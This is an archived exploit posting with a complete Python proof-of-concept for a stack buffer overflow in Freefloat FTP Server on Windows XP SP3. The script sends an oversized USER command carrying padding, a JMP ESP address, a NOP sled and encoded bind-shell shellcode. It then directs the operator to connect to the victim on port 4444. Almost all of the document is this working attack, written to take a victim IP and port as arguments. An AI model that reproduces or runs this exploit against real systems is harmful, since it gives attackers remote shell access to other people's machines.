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Freefloat FTP Server Buffer Overflow

Freefloat FTP Server Buffer Overflow
Posted Dec 5, 2010
Authored by 0v3r

Freefloat FTP Server suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 8dfc791801539a8ae3c65d2d2aaa1a73

Freefloat FTP Server Buffer Overflow

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# Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability
# Date: 12/05/2010
# Author: 0v3r
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Tested on: Windows XP SP3 EN
# CVE: N/A

#!/usr/bin/python

import socket
import sys

def usage():

print "usage : ./freefloatftp.py <victim_ip> <victim_port>"
print "example: ./freefloatftp.py 192.168.1.100 21"

#Bind Shell shellcode port 4444
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")


junk1 = "\x41" * 230
eip = "\x53\x93\x42\x7E" #7E429353 JMP ESP
nops = "\x90" * 16
junk2 = "\x43" * (1000 - len(junk1 + eip + nops + shellcode))

buff = junk1 + eip + nops + shellcode + junk2

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


print "\n"
print "----------------------------------------------------------------"
print "| Freefloat FTP Server Buffer Overflow Vulnerability |"
print "----------------------------------------------------------------"
print "\n"


if len(sys.argv) != 3:
usage()
sys.exit()

ip = sys.argv[1]
port = sys.argv[2]

try:
print("[-] Connecting to " + ip + " on port " + port + "\n")
s.connect((ip,int(port)))
data = s.recv(1024)
print("[-] Sending exploit...")
s.send('USER ' + buff + '\r\n')
s.close()
print("[-] Exploit successfully sent...")
print("[-] Connect to " + ip + " on port 4444")
except:
print("[-] Connection error...")
print("[-] Check if victim is up.")

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